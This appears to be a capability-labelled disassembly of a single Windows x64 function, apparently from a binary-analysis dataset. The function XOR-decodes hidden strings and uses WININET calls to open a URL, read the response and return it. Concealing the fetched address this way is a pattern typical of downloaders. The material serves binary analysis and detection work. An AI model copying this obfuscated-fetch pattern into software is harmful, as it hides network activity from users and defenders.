Function at 0x14004dd60
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x18], r8
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1770]
mov eax, 0x1870
call fcn.1400e7d30
sub rsp, rax
movaps xmmword [rsp + 0x1860], xmm6
movaps xmmword [rsp + 0x1850], xmm7
mov rsi, rdx
xor r13d, r13d
movabs rax, 0xe4854957e85db90
mov qword [rbp - 0x70], rax
movabs rax, 0x40a825d2df24909d
mov qword [rbp - 0x68], rax
movabs rax, 0x1fc8d7ddcf27e94a
mov qword [rbp - 0x60], rax
movabs rax, 0x547054f4c521852e
mov qword [rbp - 0x58], rax
movabs rax, 0x1fffffffe0028526
mov qword [rbp - 0x50], rax
movabs rcx, 0xe00000001ffd8dc4
mov qword [rbp - 0x48], rcx
movabs rax, 0x21676ee60ef1aff8
mov qword [rbp - 0x10], rax
movabs rax, 0x2edd48bfb047f7fb
mov qword [rbp - 8], rax
movabs rax, 0x30a7a5ade15e9d23
mov qword [rbp], rax
movabs rax, 0x3019239cea48f54f
mov qword [rbp + 8], rax
movabs rax, 0x1fffffffe0028509
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rcx
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
lea rax, [rbp + 0x210]
mov r15d, 6
mov ecx, r15d
nop
mov qword [rax], r13
mov qword [rax + 8], r13
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x14004de60
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
xorps xmm1, xmmword [rbp]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x230], xmm0
movdqa xmmword [rbp + 0x240], xmm5
movdqa xmmword [rbp + 0x250], xmm6
movdqa xmmword [rbp + 0x260], xmm7
lea rax, [rbp - 0x70]
lea rcx, [rbp + 0x210]
mov edi, 4
mov edx, edi
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14004ded0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea rax, [rbp - 0x70]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], r13b
jne 0x14004df50
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x60]
call fcn.140045bd0
nop
mov rcx, qword [0x1401d4e58]
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0x70]
sub rax, rdx
cmp rax, rcx
jb 0x14004eadd
lea r9, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova r9, qword [rsp + 0x60]
lea rax, [0x1401d4e48]
cmp qword [0x1401d4e60], 0xf
cmova rax, qword [0x1401d4e48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x40]
call fcn.140058530
nop
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x750]
call sub.VCRUNTIME140.dll_memset
movabs rax, 0x1cb9c45b8de58007
mov qword [rbp - 0x70], rax
movabs rax, 0x1f85a732de58ff1b
mov qword [rbp - 0x68], rax
movabs rax, 0x1141e4d67acc21f5
mov qword [rbp - 0x60], rax
movabs rax, 0x1f9f3fa8718d5e6d
mov qword [rbp - 0x58], rax
movabs rax, 0x1f067312f50148e
mov qword [rbp - 0x50], rax
movabs rcx, 0x4a1ca35ef2539c8
mov qword [rbp - 0x48], rcx
movabs rax, 0x1cccc4378db58044
mov qword [rbp - 0x10], rax
movabs rax, 0x1ff0a75ede08ff68
mov qword [rbp - 8], rax
movabs rax, 0x1120e4ae7a892186
mov qword [rbp], rax
movabs rax, 0x1ffa3fc471fd5e00
mov qword [rbp + 8], rax
movabs rax, 0x1c0671f2f6114a1
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rcx
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
lea rax, [rbp + 0x210]
mov rcx, r15
mov qword [rax], r13
mov qword [rax + 8], r13
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x14004e091
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
xorps xmm1, xmmword [rbp]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x230], xmm0
movdqa xmmword [rbp + 0x240], xmm5
movdqa xmmword [rbp + 0x250], xmm6
movdqa xmmword [rbp + 0x260], xmm7
lea rax, [rbp + 0x4b0]
lea rcx, [rbp + 0x210]
mov r14d, 5
mov edx, r14d
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14004e110
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [rbp + 0x4b0]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
xorps xmm5, xmm5
test rax, rax
jne 0x14004e3c7
movabs rax, 0xce79c247d69b6b0
mov qword [rbp - 0x70], rax
movabs rax, 0x867e0f47639f01b
mov qword [rbp - 0x68], rax
movabs rax, 0x5ab0d709655d5
mov qword [rbp - 0x60], rax
movabs rcx, 0xa9c57e988ad38ac
mov qword [rbp - 0x58], rcx
movabs rax, 0x6288bc56121bc4f5
mov qword [rbp - 0x30], rax
movabs rax, 0x6d0992910257b93b
mov qword [rbp - 0x28], rax
movabs rax, 0x5ab6315e61aa1
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rcx
xorps xmm4, xmm4
lea rax, [rbp + 0x210]
nop dword [rax + rax]
mov qword [rax], r13
mov qword [rax + 8], r13
lea rax, [rax + 0x10]
sub rdi, 1
jne 0x14004e210
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
xorps xmm1, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmmword [rbp + 0x230], xmm4
movdqa xmmword [rbp + 0x240], xmm5
lea rax, [rbp - 0x70]
lea rcx, [rbp + 0x210]
lea edx, [rdi + 2]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14004e261
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], r13
lea rax, [rbp - 0x70]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14004e2f3
lea rdx, [rbp - 0x70]
mov r8, rbx
mov rcx, rsi
call fcn.140045bd0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14004e349
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e344
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ea77
call fcn.1400e7658
movdqa xmm0, xmmword [0x140118fa0]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14004e399
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e394
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ead6
call fcn.1400e7658
mov rax, rsi
lea r11, [rsp + 0x1870]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movabs rax, 0x12811fe51836a659
mov qword [rbp - 0x70], rax
movabs rax, 0x41dcbbe3973f9138
mov qword [rbp - 0x68], rax
movabs rax, 0x24267eb7a5aef09
mov qword [rbp - 0x60], rax
movabs rax, 0x4ab992b90de52c4e
mov qword [rbp - 0x58], rax
movabs rax, 0xc3a1c7697b65732
mov qword [rbp - 0x50], rax
movabs rcx, 0x181c22f011da1c8c
mov qword [rbp - 0x48], rcx
movabs rax, 0x71a1258b7d5dc92d
mov qword [rbp - 0x10], rax
movabs rax, 0x75efded1f409a10e
mov qword [rbp - 8], rax
movabs rax, 0x67735f881938da3d
mov qword [rbp], rax
movabs rax, 0x7f8aa2806cd71c76
mov qword [rbp + 8], rax
movabs rax, 0xc0f2c12f6873400
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rcx
xorps xmm6, xmm6
xorps xmm7, xmm7
lea rax, [rbp + 0x210]
mov rcx, r15
nop word [rax + rax]
mov qword [rax], r13
mov qword [rax + 8], r13
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x14004e480
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
xorps xmm1, xmmword [rbp]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x230], xmm0
movdqa xmmword [rbp + 0x240], xmm5
movdqa xmmword [rbp + 0x250], xmm6
movdqa xmmword [rbp + 0x260], xmm7
lea rax, [rbp - 0x70]
lea rcx, [rbp + 0x210]
mov rdx, r14
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14004e4f0
lea rax, [rbp - 0x70]
mov r9, rbx
nop dword [rax]
inc r9
cmp byte [rax + r9], 0
jne 0x14004e550
movabs rax, 0x646744589be11fe
mov qword [rbp - 0x70], rax
movabs rax, 0x4ee75048d33847f1
mov qword [rbp - 0x68], rax
movabs rax, 0xa7e48c9f8a92db6
mov qword [rbp - 0x60], rax
movabs rax, 0x44a9f73a6f13a97f
mov qword [rbp - 0x58], rax
movabs rax, 0x14b8367d9c790dce
mov qword [rbp - 0x50], rax
movabs rcx, 0x10af623540b785de
mov qword [rbp - 0x48], rcx
movabs rax, 0x65664e2becd57e8a
mov qword [rbp - 0x10], rax
movabs rax, 0x7ad4357ab00e77c7
mov qword [rbp - 8], rax
movabs rax, 0x6f4f70aa9bcb1882
mov qword [rbp], rax
movabs rax, 0x719ac7030e219947
mov qword [rbp + 8], rax
movabs rax, 0x148d0619fd486efc
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rcx
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
lea rax, [rbp + 0x210]
nop dword [rax + rax]
mov qword [rax], r13
mov qword [rax + 8], r13
lea rax, [rax + 0x10]
sub r15, 1
jne 0x14004e610
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
xorps xmm1, xmmword [rbp]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x230], xmm0
movdqa xmmword [rbp + 0x240], xmm5
movdqa xmmword [rbp + 0x250], xmm6
movdqa xmmword [rbp + 0x260], xmm7
lea rax, [rbp - 0x70]
lea rcx, [rbp + 0x210]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r14, 1
jne 0x14004e680
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], 0x80800000
lea r8, [rbp - 0x70]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r14, rax
test rax, rax
jne 0x14004e865
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movabs rax, 0x1db13bed7c79bc6
mov qword [rbp - 0x70], rax
movabs rax, 0xbc8a35115560881
mov qword [rbp - 0x68], rax
movabs rax, 0x3c85e363bc60a26
mov qword [rbp - 0x60], rax
movabs rax, 0x7e3b6df96d6c7890
mov qword [rbp - 0x58], rax
movabs rax, 0x6fb433ccb8b5e983
mov qword [rbp - 0x30], rax
movabs rax, 0x6ea6d134613841a1
mov qword [rbp - 0x28], rax
movabs rax, 0x6fba0b585eb64552
mov qword [rbp - 0x20], rax
movabs rax, 0x7e3b6df96d6c78d1
mov qword [rbp - 0x18], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
lea rax, [rbp + 0x210]
nop
mov qword [rax], r13
mov qword [rax + 8], r13
lea rax, [rax + 0x10]
sub rdi, 1
jne 0x14004e790
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
xorps xmm1, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmmword [rbp + 0x230], xmm4
movdqa xmmword [rbp + 0x240], xmm5
lea rax, [rbp - 0x70]
lea rcx, [rbp + 0x210]
lea edx, [rdi + 3]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14004e7e1
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], r13
lea rax, [rbp - 0x70]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14004e853
lea rdx, [rbp - 0x70]
jmp 0x14004e300
lea r9, [rbp + 0x17b0]
mov r8d, 0x1000
lea rdx, [rbp + 0x750]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, r14
test eax, eax
jne 0x14004e9f5
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movabs rax, 0x1d38cbf618fde1c9
mov qword [rbp - 0x70], rax
movabs rax, 0x148b960f270b2987
mov qword [rbp - 0x68], rax
movabs rax, 0x10bf3938e8d43232
mov qword [rbp - 0x60], rax
movabs rax, 0x7fff4609ca924477
mov qword [rbp - 0x58], rax
movabs rax, 0x7357eb84778f938c
mov qword [rbp - 0x30], rax
movabs rax, 0x71e5e46a536560a7
mov qword [rbp - 0x28], rax
movabs rax, 0x7cd67f5c89b16046
mov qword [rbp - 0x20], rax
movabs rax, 0x7fff4609ca924412
mov qword [rbp - 0x18], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
lea rax, [rbp + 0x210]
nop dword [rax]
mov qword [rax], r13
mov qword [rax + 8], r13
lea rax, [rax + 0x10]
sub rdi, 1
jne 0x14004e920
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
xorps xmm1, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmmword [rbp + 0x230], xmm4
movdqa xmmword [rbp + 0x240], xmm5
lea rax, [rbp - 0x70]
lea rcx, [rbp + 0x210]
lea edx, [rdi + 3]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14004e971
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], r13
lea rax, [rbp - 0x70]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14004e9e3
lea rdx, [rbp - 0x70]
jmp 0x14004e300
mov eax, dword [rbp + 0x17b0]
mov byte [rbp + rax + 0x750], 0
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], r13
lea rax, [rbp + 0x750]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14004ea27
mov r8, rbx
lea rdx, [rbp + 0x750]
mov rcx, rsi
call fcn.140045bd0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14004ea83
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ea7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004ea7e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e7658
movdqa xmm0, xmmword [0x140118fa0]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14004e399
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e394
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004e394
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14003fbb0
int3